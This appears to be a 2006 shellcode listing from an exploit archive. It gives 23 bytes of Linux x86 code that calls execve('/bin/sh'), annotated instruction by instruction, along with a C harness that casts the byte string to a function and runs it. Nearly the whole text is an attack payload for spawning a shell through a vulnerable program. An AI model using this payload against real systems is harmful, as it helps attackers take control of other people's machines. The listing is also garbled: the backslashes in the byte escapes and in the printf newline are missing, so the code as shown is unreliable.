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# Title : linux/x86 execve("/bin/sh", ["/bin/sh", NULL]) 23 bytes
# Published : 2006-04-03
# Author : Gotfault Security
# Previous Title : linux/x86 execve("/bin/sh", ["/bin/sh", NULL]) 25 bytes
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/*
 * linux-x86-binshv2.c - 23 bytes
 * Copyright (c) 2006 Gotfault Security <xgc@gotfault.net>
 *
 * (Linux/x86) execve("/bin/sh", ["/bin/sh", NULL])
 *
 */


char shellcode[] =

  "x6ax0b"			// push   $0xb
  "x58"			// pop    %eax
  "x99"                        // cltd
  "x52"			// push   %edx
  "x68x2fx2fx73x68"	// push   $0x68732f2f
  "x68x2fx62x69x6e"	// push   $0x6e69622f
  "x89xe3"			// mov    %esp, %ebx
  "x52"			// push   %edx
  "x53"			// push   %ebx
  "x89xe1"			// mov    %esp, %ecx
  "xcdx80";			// int    $0x80
 
int main() {
 
        int (*f)() = (int(*)())shellcode;
        printf("Length: %un", strlen(shellcode));
        f();
}

// www.Syue.com [2006-04-03]